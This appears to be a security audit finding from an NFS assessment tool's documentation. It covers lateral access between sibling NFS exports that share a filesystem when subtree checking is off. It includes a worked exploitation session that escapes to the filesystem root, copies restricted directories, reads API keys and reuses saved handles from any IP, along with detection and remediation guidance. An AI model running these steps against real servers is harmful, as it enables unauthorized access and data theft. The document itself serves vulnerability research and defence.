F-2.8: Sibling Export Lateral Access (Cross-Export Handle Reuse)¶
Classification¶
- Severity: Critical
- CVSS Vector: Network / Low Complexity / Requires Access to Any Sibling Export
- Affected Versions: NFSv2, NFSv3
- RFC Reference: RFC 1813 §3.3.3, RFC 2623 §2.6
- Prerequisite: Access to any export on the same filesystem as the target;
no_subtree_checkon the target (Linux default)
Summary¶
When two NFS exports reside on the same underlying filesystem and subtree_check is disabled (the default on Linux), a client authorized for export A can navigate to the directory backing export B using a root-inode escape handle or a LOOKUP traversal. The NFS daemon does not verify that the file handle points to an inode within the originally mounted export's subtree.
This differs from F-2.1 (export escape to filesystem root) in that the attacker does not need to construct a synthetic handle -- they can reach the target via standard LOOKUP operations from the escaped filesystem root.
Technical detail¶
Common configuration¶
# Same physical disk (/dev/sda1) mounted at /srv/nfs
/srv/nfs/public *(rw,no_root_squash,no_subtree_check)
/srv/nfs/restricted 10.0.0.50(rw,root_squash,no_subtree_check)
/srv/nfs/secrets 10.0.0.50(rw,root_squash,no_subtree_check)
All three exports share fsid (same block device). The attacker can mount /srv/nfs/public (wildcard ACL), escape to the filesystem root (F-2.1), then cd /srv/nfs/restricted and cd /srv/nfs/secrets.
Why this works¶
no_subtree_check(the default) means the kernel does NOT verify that a handle's inode is within the export's directory treeescape-rootconstructs a handle for inode 2 (ext4) or inode 128 (XFS) -- the filesystem root- From the filesystem root, standard LOOKUP operations (
cd /srv/nfs/restricted) produce valid handles for any directory on the filesystem - The kernel resolves these handles via
exportfs_decode_fh()which only checks inode validity, not export membership
Attack flow¶
mount /srv/nfs/public (wildcard, allowed)
|
escape-root (F-2.1)
|
filesystem root (inode 2)
|
+---------------+----------------+
| | |
/srv/nfs/public /srv/nfs/restricted /srv/nfs/secrets
(already have) (IP-restricted) (IP-restricted)
|
ls, cat, get -r
(full access)
Versus direct handle construction¶
F-2.1's escape constructs a synthetic handle for the root inode. This finding documents the subsequent lateral movement -- using standard NFS LOOKUP operations (not handle construction) to reach peer directories. The distinction matters operationally:
- F-2.1: Requires understanding of handle format (ext4/XFS/BTRFS inode encoding)
- F-2.8: Once at the filesystem root, uses only standard directory traversal
- No handle engineering needed for the lateral movement step
Impact on "separate export" security models¶
Administrators often assume that placing sensitive data in a separate export with IP restrictions provides isolation. This assumption fails whenever:
- The restricted export shares a physical filesystem with any wildcard export
subtree_checkis not enabled (disabled by default due to performance and stale-handle concerns)- The attacker can mount any sibling export
Exploitation¶
# 1. Mount any wildcard export on the same filesystem
nfswolf shell target:/srv/nfs/public --uid 0
# 2. Escape to filesystem root
nfs> escape-root
[+] escaped to filesystem root (Ext4)
# 3. Navigate to restricted export's directory
nfs> cd /srv/nfs/restricted
nfs> ls
data.txt etc/ credentials/
# 4. Exfiltrate
nfs> get -r . /tmp/restricted-dump/
# 5. Navigate to other restricted exports too
nfs> cd /srv/nfs/secrets
nfs> cat api_keys.txt
With handle persistence for later access¶
# Save the handle for the restricted directory
nfs> handle
0100070116002a00000000000841e517...
# Use it later from any IP, no escape needed:
nfswolf shell target --handle 0100070116002a00... --uid 0
Detection (nfswolf)¶
The analyzer should:
1. Group exports by fsid (same underlying filesystem)
2. If any export in a fsid group has wildcard ACL (*) and any other has IP restrictions:
- Flag as "sibling export lateral access possible"
- Severity: Critical if the wildcard export has no_subtree_check (default)
- Severity: High if subtree_check is enabled (escape may still work via handle construction)
3. Report the specific restricted exports reachable from each wildcard export
Remediation¶
-
Separate filesystems per trust boundary:
-
Enable
Trade-off: performance penalty, potential NFS3ERR_STALE on renamed filessubtree_checkon all restricted exports: -
Use bind mounts from separate filesystems:
-
Use Kerberos -- makes the bearer-token property irrelevant
-
Audit export groupings -- any shared-filesystem exports with mixed ACLs are vulnerable:
Relationship to other findings¶
- Builds on: F-2.1 (escape provides the filesystem root handle)
- Root cause: F-2.7 (nfsd ACL blindness -- no per-operation export membership check)
- Amplified by: F-7.1 (wildcard exports provide the initial foothold)
- Persists via: F-2.5 (handles from lateral movement survive ACL changes)
- Obtainable via: F-3.6 (if no sibling exists, spoof UDP MOUNT to get the restricted handle directly)